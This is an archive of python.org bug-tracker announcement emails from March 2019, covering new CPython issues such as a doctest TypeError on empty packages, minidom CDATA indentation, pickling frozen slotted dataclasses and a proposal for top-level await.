Subject: [New-bugs-announce] [issue36404] Document PendingDeprecationWarning
 as deprecated
Message-ID: <1553306705.24.0.738748021192.issue36404@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
nosy: inada.naoki
priority: normal
severity: normal
status: open
title: Document PendingDeprecationWarning as deprecated
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36404>
_______________________________________

From report at bugs.python.org  Sat Mar 23 01:43:09 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 05:43:09 +0000
Subject: [New-bugs-announce] [issue36405] Use dict unpacking in idlelib
Message-ID: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Replace 3 occurrences of 'd = d1.copy(); d.update(d2)' pattern with 'd = {**d1, **d2}'.  Also remove unnecessary imports and uses of __main__.

----------
assignee: terry.reedy
components: IDLE
messages: 338643
nosy: terry.reedy
priority: normal
severity: normal
stage: commit review
status: open
title: Use dict unpacking in idlelib
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:54:24 2019
From: report at bugs.python.org (Dutcho)
Date: Sat, 23 Mar 2019 11:54:24 +0000
Subject: [New-bugs-announce] [issue36406] doctest.testmod(empty_package)
 raises TypeError in 3.7 (and no errors in 3.6)
Message-ID: <1553342064.53.0.424333207933.issue36406@roundup.psfhosted.org>


New submission from Dutcho <dutcho at ziggo.nl>:

In recent Python, a directory without __init__.py is also a package, and hence can be imported. When this directory/package is empty, and a doctest.testmod() is executed, the behaviour changed from 3.6 to 3.7, which I didn't find in the "what's new" documentation.

Minimal example:
>>> import doctest, os
>>> os.mkdir('empty_package')
>>> import empty_package
>>> doctest.testmod(empty_package)

Python 3.6.8 on Windows 7 prints
TestResults(failed=0, attempted=0)

Python 3.7.2 on Windows 7 raises below TypeError in doctest
Traceback (most recent call last):
  File "bug_empty_package.py", line 4, in <module>
    print(doctest.testmod(empty_package))
  File "...\Python37\lib\doctest.py", line 1949, in testmod
    for test in finder.find(m, name, globs=globs, extraglobs=extraglobs):
  File "...\Python37\lib\doctest.py", line 932, in find
    self._find(tests, obj, name, module, source_lines, globs, {})
  File "...\Python37\lib\doctest.py", line 982, in _find
    test = self._get_test(obj, name, module, globs, source_lines)
  File "...\Python37\lib\doctest.py", line 1063, in _get_test
    if filename[-4:] == ".pyc":
TypeError: 'NoneType' object is not subscriptable

----------
components: Library (Lib)
messages: 338670
nosy: Dutcho
priority: normal
severity: normal
status: open
title: doctest.testmod(empty_package) raises TypeError in 3.7 (and no errors in 3.6)
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36406>
_______________________________________

From report at bugs.python.org  Sat Mar 23 11:38:49 2019
From: report at bugs.python.org (Vladimir Surjaninov)
Date: Sat, 23 Mar 2019 15:38:49 +0000
Subject: [New-bugs-announce] [issue36407] xml.dom.minidom wrong indentation
 writing for CDATA section
Message-ID: <1553355529.11.0.873645774038.issue36407@roundup.psfhosted.org>


New submission from Vladimir Surjaninov <vsurjaninov at gmail.com>:

If we are writing xml with CDATA section and leaving non-empty indentation and new-line parameters, a parent node of the section will contain useless indentation, that will be parsed as a text.

Example:
>>>doc = minidom.Document()
>>>root = doc.createElement('root')
>>>doc.appendChild(root)
>>>node = doc.createElement('node')
>>>root.appendChild(node)
>>>data = doc.createCDATASection('</data>')
>>>node.appendChild(data)
>>>print(doc.toprettyxml(indent=?  ? * 4)
<?xml version="1.0" ?>
<root>
    <node>
<![CDATA[</data>]]>    </node>
</root>

If we try to parse this output doc, we won?t get CDATA value correctly.

Following code returns a string that contains only indentation characters:
>>>doc = minidom.parseString(xml_text)
>>>doc.getElementsByTagName('node')[0].firstChild.nodeValue

Returns a string with CDATA value and indentation characters:
>>>doc.getElementsByTagName('node')[0].firstChild.wholeText


But we have a workaround:
>>>data.nodeType = data.TEXT_NODE
?
>>>print(doc.toprettyxml(indent=?  ? * 4)
<?xml version="1.0" ?>
<root>
    <node><![CDATA[</data>]]></node>
</root>

It will be parsed correctly:
>>>doc.getElementsByTagName('node')[0].firstChild.nodeValue
</data>

But I think it will be better if we fix the writing function, which would set this as default behavior.

----------
components: XML
messages: 338681
nosy: vsurjaninov
priority: normal
severity: normal
status: open
title: xml.dom.minidom wrong indentation writing for CDATA section
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36407>
_______________________________________

From report at bugs.python.org  Sat Mar 23 11:57:48 2019
From: report at bugs.python.org (J.E.McCormack)
Date: Sat, 23 Mar 2019 15:57:48 +0000
Subject: [New-bugs-announce] [issue36408] Tkinter multi-processing
 performance, Linux 10-25 times faster than Windows 10
Message-ID: <1553356668.85.0.0833740641737.issue36408@roundup.psfhosted.org>


New submission from J.E.McCormack <jamesisub at gmail.com>:

I am measuring multi-process GUI performance (Tkinter 8.6, Python 3.7) for drawing lines, circles, text boxes, etc. In a fairly typical experiment on a i7-6700HQ, 4-core (8 thread), on Windows 10 I measure 25.5k objects/sec for one process running alone, and 19.9k objects/sec total for eight processes. For Linux Kubuntu KDE desktop the figures are 61k objects/sec and 230k objects/sec (a multi-core boost of times 3.8). For running eight processes, the performance difference, KDE vs Win10, is therefore times 11.6. The difference over a range of tests is 10-25 times.
	
Clearly Win10 is not doing multi-core. Perhaps Tkinter is calling a Windows SDK function which is not thread-safe within the Windows GDI, imposing a single-thread barrier system-wide?
	
I am just wondering, firstly, if I have simply missed mention of this limitation anywhere. I can supply more info if needed.

----------
components: Tkinter
messages: 338682
nosy: james.mccormack
priority: normal
severity: normal
status: open
title: Tkinter multi-processing performance, Linux 10-25 times faster than Windows 10
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36408>
_______________________________________

From report at bugs.python.org  Sat Mar 23 12:11:49 2019
From: report at bugs.python.org (Jon Janzen)
Date: Sat, 23 Mar 2019 16:11:49 +0000
Subject: [New-bugs-announce] [issue36409] plistlib old API should be removed
Message-ID: <1553357509.76.0.695003516452.issue36409@roundup.psfhosted.org>


New submission from Jon Janzen <jjjonjanzen at gmail.com>:

Per the documentation and in-line code warnings, the old API for plistlib was deprecated in version 3.4. My understanding is that deprecated functionality is to be removed in the next major version, so this code is long overdue for removal.

----------
components: Library (Lib)
messages: 338683
nosy: bigfootjon
priority: normal
severity: normal
status: open
title: plistlib old API should be removed
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36409>
_______________________________________

From report at bugs.python.org  Sat Mar 23 16:05:18 2019
From: report at bugs.python.org (Alex Grigoryev)
Date: Sat, 23 Mar 2019 20:05:18 +0000
Subject: [New-bugs-announce] [issue36410] Proposal to make
 strip/lstrip/rstrip more explicit
Message-ID: <1553371518.15.0.327433440599.issue36410@roundup.psfhosted.org>


New submission from Alex Grigoryev <evrial at gmail.com>:

These methods have confusing implicit behavior. I propose to make it explicit, either strip the exact sequence or chars or leave the string as is.

In [1]: 'mailto:maria at gmail.com'.lstrip('mailto')
Out[1]: ':maria at gmail.com'

In [2]: 'mailto:maria at gmail.com'.lstrip('mailto:')
Out[2]: 'ria at gmail.com'

In [3]: 'mailto:maria at gmail.com'.lstrip('ailto:')
Out[3]: 'mailto:maria at gmail.com'

----------
messages: 338695
nosy: Alex Grigoryev
priority: normal
severity: normal
status: open
title: Proposal to make strip/lstrip/rstrip more explicit
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36410>
_______________________________________

From report at bugs.python.org  Sat Mar 23 20:33:45 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 00:33:45 +0000
Subject: [New-bugs-announce] [issue36411] Python 3 f.tell() gets out of sync
 with file pointer in binary append+read mode
Message-ID: <1553387625.02.0.693122073587.issue36411@roundup.psfhosted.org>


New submission from PEW's Corner <pewscorner at gmail.com>:

When a file is opened in binary append+read mode, i.e. open('file', 'a+b'), and a write (i.e. append) operation is performed while the file pointer is not at the end of the file (e.g. after a seek(0)), tell() will subsequently return the wrong value in Python 3 (but not in Python 2).

See this SO question:
https://stackoverflow.com/questions/51010322/python-3-tell-gets-out-of-sync-with-file-pointer-in-appendread-mode

----------
components: IO
messages: 338709
nosy: pewscorner
priority: normal
severity: normal
status: open
title: Python 3 f.tell() gets out of sync with file pointer in binary append+read mode
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36411>
_______________________________________

From report at bugs.python.org  Sat Mar 23 21:49:34 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Sun, 24 Mar 2019 01:49:34 +0000
Subject: [New-bugs-announce] [issue36412] A possible crash in dictobject.c's
 new_dict()
Message-ID: <1553392174.94.0.836443696515.issue36412@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

PyDict_New() calls new_dict() with the "empty_values" array. If the PyObject_GC_New() call in new_dict() fails, new_dict() will call PyMem_FREE() on this array, causing a crash.

----------
components: Interpreter Core
messages: 338711
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible crash in dictobject.c's new_dict()
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36412>
_______________________________________

From report at bugs.python.org  Sun Mar 24 01:06:03 2019
From: report at bugs.python.org (YasirA)
Date: Sun, 24 Mar 2019 05:06:03 +0000
Subject: [New-bugs-announce] =?utf-8?q?=5Bissue36413=5D_Brief_Tour_of_the?=
 =?utf-8?q?_Standard_Library_=E2=80=94_Part_II_example_problem?=
Message-ID: <1553403963.41.0.192009865496.issue36413@roundup.psfhosted.org>


New submission from YasirA <yarsanukaev at gmail.com>:

In the Template example, there's no placeholder to be substituted with date. I think it should be rewritten along the following lines:

    >>> import time, os.path
    >>> photofiles = ['img_1074.jpg', 'img_1076.jpg', 'img_1077.jpg']
    >>> class BatchRename(Template):
    ...     delimiter = '%'
    >>> fmt = input('Enter rename style (%d-date %n-seqnum %f-format):  ')
    Enter rename style (%d-date %n-seqnum %f-format):  Ashley_%d%n%f

    >>> t = BatchRename(fmt)
    >>> date = time.strftime('%d%b%y')
    >>> for i, filename in enumerate(photofiles):
    ...     base, ext = os.path.splitext(filename)
    ...     newname = t.substitute(d=date+'_', n=i, f=ext)
    ...     print('{0} --> {1}'.format(filename, newname))

    img_1074.jpg --> Ashley_0.jpg
    img_1076.jpg --> Ashley_1.jpg
    img_1077.jpg --> Ashley_2.jpg

Yasir.

----------
assignee: docs at python
components: Documentation
messages: 338714
nosy: YasirA, docs at python
priority: normal
severity: normal
status: open
title: Brief Tour of the Standard Library ? Part II example problem
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36413>
_______________________________________

From report at bugs.python.org  Sun Mar 24 03:35:20 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 24 Mar 2019 07:35:20 +0000
Subject: [New-bugs-announce] [issue36414] Multiple test failures in GCC and
 Clang optional builds on Travis CI
Message-ID: <1553412920.81.0.155092332299.issue36414@roundup.psfhosted.org>


New submission from Karthikeyan Singaravelan <tir.karthi at gmail.com>:

I am not able to reproduce the errors on GCC built CPython binary and running tests with virtualenv (no coverage). Seems the dangling thread error takes up the whole 50 minutes time limit. Since GCC build is not maintained or tracked is it worth stopping it on Travis since this wastes a lot of build minutes. Clang on Mac optional build never starts running the tests too.

Reference build failures : 

https://travis-ci.org/python/cpython/jobs/510447289
https://travis-ci.org/python/cpython/jobs/510447290

----------
components: Tests
messages: 338725
nosy: pablogsal, vstinner, xtreak
priority: normal
severity: normal
status: open
title: Multiple test failures in GCC and Clang optional builds on Travis CI
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36414>
_______________________________________

From report at bugs.python.org  Sun Mar 24 07:33:10 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Sun, 24 Mar 2019 11:33:10 +0000
Subject: [New-bugs-announce] [issue36415] [math] Implement pow2 function
Message-ID: <1553427190.47.0.856979759509.issue36415@roundup.psfhosted.org>


New submission from ????? ?????? <sidorovmarat1995 at gmail.com>:

Hello.
I want to implement pow2 function special for powers of 2.
pow2 works 110 times faster if we pow 4 to 10**6
pow2 implementaion on Python:
def pow2(a,b):
p=log2(a)*b
if not p.isinteger():
raise TypeError('a isn't power of 2!')
return 1?p

----------
components: Library (Lib)
messages: 338728
nosy: nagayev
priority: normal
severity: normal
status: open
title: [math] Implement pow2 function
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36415>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:23:47 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 14:23:47 +0000
Subject: [New-bugs-announce] [issue36416] bytes.rpartition bug in online
 documentation
Message-ID: <1553437427.15.0.469399643284.issue36416@roundup.psfhosted.org>


New submission from PEW's Corner <pewscorner at gmail.com>:

The online Python 3 documentation for bytes.rpartition and bytearray.rpartition (https://docs.python.org/3/library/stdtypes.html#bytes.rpartition) incorrectly states:

"If the separator is not found, return a 3-tuple containing a copy of the original sequence, followed by two empty bytes or bytearray objects."

This seems to have been copied without modification from bytes.partition where the statement is correct. The statement for rpartition should be:

"If the separator is not found, return a 3-tuple containing two empty bytes or bytearray objects, followed by a copy of the original sequence."

----------
assignee: docs at python
components: Documentation
messages: 338734
nosy: docs at python, pewscorner
priority: normal
severity: normal
status: open
title: bytes.rpartition bug in online documentation
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36416>
_______________________________________

From report at bugs.python.org  Sun Mar 24 10:47:13 2019
From: report at bugs.python.org (PEW's Corner)
Date: Sun, 24 Mar 2019 14:47:13 +0000
Subject: [New-bugs-announce] [issue36417] unicode.isdecimal bug in online
 Python 2 documentation
Message-ID: <1553438833.3.0.95385374587.issue36417@roundup.psfhosted.org>


New submission from PEW's Corner <pewscorner at gmail.com>:

The online Python 2 documentation for unicode.isdecimal (https://docs.python.org/2/library/stdtypes.html#unicode.isdecimal) incorrectly states:

"Decimal characters include digit characters".

This is wrong (decimal characters are actually a subset of digit characters), and u'\u00b3' is an example of a character that is a digit but not a decimal.

Issue 26483 (https://bugs.python.org/issue26483) corrected the same bug in the Python 3 documentation, and a similar correction should be applied to the Python 2 documentation.

----------
assignee: docs at python
components: Documentation
messages: 338736
nosy: docs at python, pewscorner
priority: normal
severity: normal
status: open
title: unicode.isdecimal bug in online Python 2 documentation
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36417>
_______________________________________

From report at bugs.python.org  Sun Mar 24 18:05:29 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sun, 24 Mar 2019 22:05:29 +0000
Subject: [New-bugs-announce] [issue36418] urllib.parse.*Result: support
 _replace for additional computed addresses
Message-ID: <1553465129.93.0.5539024748.issue36418@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In msg338645 on issue31822, Fred Drake wrote:
> Unfortunately, when the implementation [of urllib.parse.*Result] was migrated to use collections.namedtuple (a benefit), the _replace method wasn't extended  to support the additional computed addresses for these types.
>
> That would really be useful.

Opening this issue to track that request.

----------
components: Library (Lib)
messages: 338762
nosy: cheryl.sabella
priority: normal
severity: normal
status: open
title: urllib.parse.*Result: support _replace for additional computed addresses
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36418>
_______________________________________

From report at bugs.python.org  Sun Mar 24 19:11:25 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 24 Mar 2019 23:11:25 +0000
Subject: [New-bugs-announce] [issue36419] IDLE autocomplete: refactor and
 polish code and tests
Message-ID: <1553469085.88.0.432002901822.issue36419@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Followup to #30348.
1. Merge try_open_completions_event and _open_completions_later.  The latter is only used in the former.  Adjust tests to match.

2. The following in test_open_completions tests >>> "something<tab>
    self.text.insert('1.0', '"t')
    self.assertTrue(self.autocomplete.open_completions(False, True, True))
This passes with unittest (py -m test.test_idle) but fails with regrtest (py -m test -ugui test_idle), with "None is not true".  There are multiple 'return None's in open_completions.  Determine which with debug prints and try to pass with regrtest.  Success does not depend on the inserted text matching any file in the current working directory.

3. Increase coverage.  Multiple conditionals are only triggered 1 way.

----------
assignee: terry.reedy
components: IDLE
messages: 338766
nosy: terry.reedy
priority: normal
severity: normal
stage: test needed
status: open
title: IDLE autocomplete: refactor and polish code and tests
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36419>
_______________________________________

From report at bugs.python.org  Sun Mar 24 20:00:56 2019
From: report at bugs.python.org (anthony shaw)
Date: Mon, 25 Mar 2019 00:00:56 +0000
Subject: [New-bugs-announce] [issue36420] f_trace_opcodes setting and
 accessing opcodes
Message-ID: <1553472056.29.0.688225518527.issue36420@roundup.psfhosted.org>


New submission from anthony shaw <anthony.p.shaw at gmail.com>:

The f_trace_opcodes flag for sys.settrace in 3.7 are proving tricky. 

I must be missing something but it's not clear how it helps in tracing the opcode about to be executed because it runs before opcode and oparg variables are set by NEXTOPARG(), so the only way to establish the opcode is to look at the frame code and work out the next instruction in the stack.

The documentation references dis, but if you call that for a traceback or using the frame code, you only have the last instruction, not the next one?

def trace(frame, event, args):
  frame.f_trace_opcodes = True
  if event == 'opcode':
    disassemble(frame.f_code, frame.f_lasti)
  return frame

It looks like the emitting of the opcode event needs to come after NEXTOPARG(), but that means if the tracing function were to add any instructions to the stack, that would no longer work. 
Alternatively, the opcode could be calculated and added as an argument.

----------
components: Interpreter Core
messages: 338772
nosy: anthony shaw, ncoghlan
priority: normal
severity: normal
status: open
title: f_trace_opcodes setting and accessing opcodes
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36420>
_______________________________________

From report at bugs.python.org  Sun Mar 24 23:31:24 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Mon, 25 Mar 2019 03:31:24 +0000
Subject: [New-bugs-announce] [issue36421] A possible double decref in
 _ctypes.c's PyCArrayType_new()
Message-ID: <1553484684.08.0.15989371051.issue36421@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

In PyCArrayType_new(), type_attr is assigned to stgdict->proto. If the PyDict_Update() call fails in that function, type_attr will be decrefed an extra time when stgdict is deallocated.

I'll create a PR for this issue.

----------
components: Extension Modules, ctypes
messages: 338779
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible double decref in _ctypes.c's PyCArrayType_new()
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36421>
_______________________________________

From report at bugs.python.org  Mon Mar 25 07:16:45 2019
From: report at bugs.python.org (Riccardo Murri)
Date: Mon, 25 Mar 2019 11:16:45 +0000
Subject: [New-bugs-announce] [issue36422] tempfile.TemporaryDirectory()
 removes entire directory tree even if it's a mount-point
Message-ID: <1553512605.72.0.860422023516.issue36422@roundup.psfhosted.org>


New submission from Riccardo Murri <riccardo.murri at gmail.com>:

The behavior of `tempfile.TemporaryDirectory()` is to delete the
temporary directory when done; this behavior cannot be turned off
(there's no `delete=False`like `NamedTemporaryFile` has instead).

However, in case a filesystem has been mounted on the temporary
directory, this can lead to the entire filesystem being removed.

While I agree that it would be responsibility of the programmer to
ensure that anything that has been mounted on the temp dir is
unmounted, the current behavior makes it quite easy to shoot oneself
in the foot.  Consider the following code::

    @contextmanager
    def mount_sshfs(localdir, remote):
        subprocess.run(f"sshfs {remote} {localdir}")
        yield
        subprocess.run(f"fusermount -u {localdir}", check=True)

    with TemporaryDirectory() as tmpdir:
         with mount_sshfs(tmpdir, remote):
              # ... do stuff ...

Now, even if the `fusermount` call fails, cleanup of
`TemporaryDirectory()` will be performed and the remote filesystem
will be erased!

Is there a way this pattern can be prevented or at least mitigated?
Two options that come to mind:

* add a `delete=True/False` option to `TemporaryDirectory` like `NamedTemporaryFile` already has
* add a `delete_on_error` option to avoid performing cleanup during error exit from a `with:` block

I have seen this happen with Py 3.6 but it's likely there in the entire 3.x series since `TemporaryDirectory` was added to stdlib.

Thanks,
Riccardo

----------
components: Library (Lib)
messages: 338795
nosy: riccardomurri
priority: normal
severity: normal
status: open
title: tempfile.TemporaryDirectory() removes entire directory tree even if it's a mount-point
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36422>
_______________________________________

From report at bugs.python.org  Mon Mar 25 10:52:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 25 Mar 2019 14:52:56 +0000
Subject: [New-bugs-announce] [issue36423] www.pythontest.net is down
Message-ID: <1553525576.43.0.839145582108.issue36423@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

https://buildbot.python.org/all/#/builders/96/builds/361

Re-running failed tests in verbose mode
Re-running test 'test_urllib2net' in verbose mode
ERROR: test_fileno (test.test_urllib2net.OtherNetworkTests)
ERROR: test_close (test.test_urllib2net.CloseSocketTest)
ERROR: test_ftp_default_timeout (test.test_urllib2net.TimeoutTest)
ERROR: test_ftp_no_timeout (test.test_urllib2net.TimeoutTest)
ERROR: test_ftp_timeout (test.test_urllib2net.TimeoutTest)

--

$ ping www.pythontest.net -c 1
PING www.pythontest.net (159.89.235.38) 56(84) bytes of data.
^C
--- www.pythontest.net ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

----------
components: Tests
messages: 338801
nosy: vstinner
priority: normal
severity: normal
status: open
title: www.pythontest.net is down
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36423>
_______________________________________

From report at bugs.python.org  Mon Mar 25 11:18:08 2019
From: report at bugs.python.org (David Hagen)
Date: Mon, 25 Mar 2019 15:18:08 +0000
Subject: [New-bugs-announce] [issue36424] Pickle fails on frozen dataclass
 that has slots
Message-ID: <1553527088.82.0.636469633332.issue36424@roundup.psfhosted.org>


New submission from David Hagen <david at drhagen.com>:

If a dataclass is `frozen` and has `__slots__`, then unpickling an instance of it fails because the default behavior is to use `setattr` which `frozen` does not allow.

```
import pickle
from dataclasses import dataclass

@dataclass(frozen=True)
class A:
  __slots__ = ('a',)
  a: int

b = pickle.dumps(A(5))
pickle.loads(b)
```

```
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 3, in __setattr__
dataclasses.FrozenInstanceError: cannot assign to field 'a'
```

This has a straightforward workaround, namely to use `object.setattr`.

```
import pickle
from dataclasses import dataclass

@dataclass(frozen=True)
class A:
    __slots__ = ('a',)
    a: int

    def __getstate__(self):
        return dict(
            (slot, getattr(self, slot))
            for slot in self.__slots__
            if hasattr(self, slot)
        )

    def __setstate__(self, state):
        for slot, value in state.items():
            object.__setattr__(self, slot, value)


b = pickle.dumps(A(5))
pickle.loads(b)
```

It would be nice if this was fixed for all frozen, slotted dataclasses.

Originally report on SO: https://stackoverflow.com/questions/55307017/pickle-a-frozen-dataclass-that-has-slots

----------
messages: 338803
nosy: drhagen
priority: normal
severity: normal
status: open
title: Pickle fails on frozen dataclass that has slots
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36424>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:26:49 2019
From: report at bugs.python.org (Shengjing Zhu)
Date: Mon, 25 Mar 2019 17:26:49 +0000
Subject: [New-bugs-announce] [issue36425] Add Simplified Chinese to the
 language switcher
Message-ID: <1553534809.43.0.761682009724.issue36425@roundup.psfhosted.org>


New submission from Shengjing Zhu <zsj950618 at gmail.com>:

Just checked on transifex, the Simplified Chinese translation has reached

- 100% of bugs.html
- 100% of tutorial
- 100% of library/functions (builtins)

So, let's add it to the language switcher

{
    'zh-cn': 'Simplified Chinese'
}

And backport it to 3.7 branch.

----------
assignee: docs at python
components: Documentation
messages: 338811
nosy: docs at python, mdk, xiang.zhang, zhsj
priority: normal
severity: normal
status: open
title: Add Simplified Chinese to the language switcher
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36425>
_______________________________________

From report at bugs.python.org  Mon Mar 25 13:31:05 2019
From: report at bugs.python.org (=?utf-8?q?Domen_Jurkovi=C4=8D?=)
Date: Mon, 25 Mar 2019 17:31:05 +0000
Subject: [New-bugs-announce] [issue36426] exec() issue when used inside
 function
Message-ID: <1553535065.81.0.184329137426.issue36426@roundup.psfhosted.org>


New submission from Domen Jurkovi? <domen.jurkovic at gmail.com>:

I've reported a stack overflow question and no reasonable explation was offered. Here is what I've discovered:
.. code-block:: python
    def func():
        varName = 'bar'
        varValue = 42
        localVarToEvaluate = varName + ' = varValue'

        try:
            exec(localVarToEvaluate)
        except Exception as err:
            print(str(err))
        
        if 'bar' in locals():
            # print(locals()['bar']) # (1) OK
            # print(bar)  # (2) ERR
            #print("'bar' OK:", bar)  # (3) ERR
            pass # uncomment any line above

    func()

After ``exec()`` is executed, ``bar`` can be seen in ``locals()``, but not accessible by intereter. Also, It can be accessed by directly calling ``print(locals()['bar'](``, but not ``print(bar)``.

This is the problem as long as the code is wrapped in function. If the same code is placed in the module body, works as expected. 

Is there any exaplanation for such behaviour, or is this a bug?

----------
components: Interpreter Core, Windows
messages: 338812
nosy: paul.moore, schperplata, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: exec() issue when used inside function
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36426>
_______________________________________

From report at bugs.python.org  Mon Mar 25 18:14:35 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 25 Mar 2019 22:14:35 +0000
Subject: [New-bugs-announce] [issue36427] Document that PyEval_RestoreThread
 and PyGILState_Ensure can terminate the calling thread
Message-ID: <1553552075.96.0.382616254369.issue36427@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

Currently PyEval_RestoreThread and its callers (mainly PyGILState_Ensure) can terminate the thread if the interpreter is finalizing:

PyEval_RestoreThread(PyThreadState *tstate)
{
    if (tstate == NULL)
        Py_FatalError("PyEval_RestoreThread: NULL tstate");
    assert(gil_created());

    int err = errno;
    take_gil(tstate);
    /* _Py_Finalizing is protected by the GIL */
    if (_Py_IsFinalizing() && !_Py_CURRENTLY_FINALIZING(tstate)) {
        drop_gil(tstate);
        PyThread_exit_thread();
        Py_UNREACHABLE();
    }
    errno = err;

    PyThreadState_Swap(tstate);
}

This behaviour that protects against problems due to daemon threads registered with the interpreter can be *very* surprising for C-extensions that are using these functions to implement callbacks that can call into Python. These callbacks threads are not owned by the interpreter and are usually joined by someone else, ending in deadlocks in many situations.

I propose to add a warning to the documentation to inform users about this situation.

----------
components: Interpreter Core
messages: 338826
nosy: eric.snow, pablogsal, pitrou, vstinner
priority: normal
severity: normal
status: open
title: Document that PyEval_RestoreThread and PyGILState_Ensure can terminate the calling thread
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36427>
_______________________________________

From report at bugs.python.org  Mon Mar 25 19:49:29 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 25 Mar 2019 23:49:29 +0000
Subject: [New-bugs-announce] [issue36428] Support AutoAwait?
Message-ID: <1553557769.34.0.955375021383.issue36428@roundup.psfhosted.org>


New submission from Guido van Rossum <guido at python.org>:

I just found out about IPython's autoawait feature:
https://ipython.readthedocs.io/en/stable/interactive/autoawait.html

I wonder if we should at least help them do this right in Python 3.8 by having a flag to compile() that allows `await` in the toplevel syntax? It looks like a relatively small change would suffice to make compiler_visit_expr1() in Python/compile.c accept (and generate correct code for) Await_kind outside async functions, if some flag is set.

----------
components: Interpreter Core, asyncio
messages: 338840
nosy: asvetlov, gvanrossum, yselivanov
priority: normal
severity: normal
status: open
title: Support AutoAwait?
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36428>
_______________________________________

From report at bugs.python.org  Mon Mar 25 23:09:18 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Tue, 26 Mar 2019 03:09:18 +0000
Subject: [New-bugs-announce] [issue36429] Fix starting IDLE with pyshell
Message-ID: <1553569758.24.0.333404497739.issue36429@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

python -m idlelib.pyshell  # and
python f:/dev/3x/lib/idlelib/pyshell.py  # for instance
no longer start IDLE properly.  The separate subprocess startup command for when pyshell is the main, from 2004, is obsolete and no longer needed.  The command needed is the same as for when IDLE is started otherwise.  It works with either method of starting IDLE with pyshell.

In addition, two modules are created from pyshell.py, with names '__main__' and 'idlelib.pyshell'.  The attempt to prevent this should be at the top of the file instead of the bottem and now needs to add 'idlelib.pyshell' instead of 'pyshell'.  The test for this was to (temporarily) add 'print('running')' at the top of the file and see if 'running\n' is printed to the terminal once or twice.

An automated test might be done as follows:
1. Move imports in main(), including that of 'testing', to top of file.
2. Add, for instance, 'if testing: print('running') after the import.
3. Mock main().
4. Use test.support for 'with <captured stdout>: run pyshell.py'.
